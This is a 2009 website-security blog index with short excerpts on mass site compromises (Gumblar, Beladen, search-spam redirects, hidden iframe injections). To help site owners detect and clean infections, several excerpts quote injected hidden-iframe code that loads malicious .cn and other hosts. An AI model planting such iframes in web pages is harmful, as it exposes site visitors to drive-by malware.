Do you remember Gumblar? The massive hacker attack that managed to infect more than a hundred thousand legitimate web sites in a very short time this May? The infection was relatively easy to detect but very hard to completely get rid of. It infected various types of files and created backdoor scripts in inconspicuous places of websites so that hackers could easily restore the malicious content.
The gumblar .cn site (and its immediate successor martuz .cn) had been promptly shut down. As a result,the malicious script injected into hacked websites became harmless for site visitors. However, many webmasters failed to properly clean up their sites after the Gumblar infection, leaving the backdoor scripts intact. It was predicted that hackers would find the way to utilize this army of potentially controllable websites. Now, five months later, we see a new surge of a massive attack that resembles Gumblar in many aspects.
Continue »»
In this post, I’ll show how cybercriminals used hacked high-profile sites to drive search traffic to online stores that sell pirated copies of popular software and, presumably, steal credit card details.
I’ve been watching this sort of search spam for more than a year now. And after this post in Google’s Webmaster Help forum, I decided to take a closer look at this this problem.
Continue »»
I’ve discovered a new emerging malware attack today. Actually two attacks, but in this post I’ll review only one of them – server-wide goscanpark .com/goscansoon .com meta redirects.
I discovered this attack when checked Unmask Parasites logs. I noticed that many unrelated websites contained the same suspicious script so I decided to investigate this issue. The investigation is not complete yet but I think the information I’ve already collected will be useful for owners of compromised web sites. And I hope the missing parts will be added by you, the readers. Update ( July 27, 2009) : the comments are really very informative. make sure to read them.
Continue »»
This post is a reminder that .cn iframe attacks are still among leaders.
The URLs of malicious iframes change over the time. Hackers introduce new suffixes (campaigns?) like : mozila, banner, cocacola, pepsi, add more and more domain names.
Since the pepsi campaign they started using port 8080 in the URLs.
The currently form of the malicious code looks like this
< iframe src="http:// namegamestore .cn:8080/index.php" width=118 height=195 style="visibility: hidden"></iframe>
It is usually injected at the bottom of index (home) pages.
Continue »»
This must be not a new attack (I’ve found an almost year old article that mentions gcounter iframes) but I started to notice it this past weekend. First, on the Google’s Webmaster Forums, then in the Unmask Parasites logs. So I guess it’s a new wave of the attack.
When I first encountered a site infected by gcounter, I checked it with Unmask Parasites. Nothing suspicious was found except for the fact that the domain name was blacklisted by Google. I checked the diagnostic page and found this clue:
Malicious software is hosted on 1 domain(s), including gcounter.cn/.
There has not been much buzz about the recent Beladen attack. Although some sources estimated 40,000 infected web sites, it was clearly not as prominent as the Gumblar. To my mind, it’s because of the elusive nature of the Beladen exploit. It is very difficult to detect. It works intermittently. Only a small percentage of site visitors are exposed to malicious content. Many security scanners just overlook it. Most likely the spread of this attack is underestimated.
In this post, I’ll list every fact I know about the Beladen exploit and hope you will add any missing information in the comments. This format proved to be very fruitful in my recent post about the Gumblar exploit where your 150+ comments made my article the most informative online resource about that attack that most other sites (including major media) referred to.
I hope the information you will find here can help site owners and hosting providers understand the nature of the exploit and get rid of it.
Continue »»
This is a quick post about yet another type of hidden iframes injected into legitimate web pages.
The HTML code may look like this:
<iframe src="http:// xtrarobotz .com/?click=BC0230" width=1 height=1 style="visibility:hidden;position:absolute"></iframe>
Domain names may vary, and the number of different iframes injected into a single web page may be different. The distinguishing feature of this exploit is the “?click=<hex_number>” part of the URL, where <hex_number> is some hexadecimal number.
Continue »»
New week, new leader. I mean various hidden iframes from .cn domains injected at the bottom of home pages.
The html code looks like this
<iframe src="http: //lotmachinesguide .cn/ in.cgi?income56" width=1 height=1 style="visibility: hidden"></iframe>
The domain names may vary but they always end with .cn. The domain names usually contain words lot and bet. They all reside on the same server with the IP address 94 .247 .3 .150. The iframes load pages with paths similar to “in.cgi?incomeNN”, where NN is some arbitrary number.
Continue »»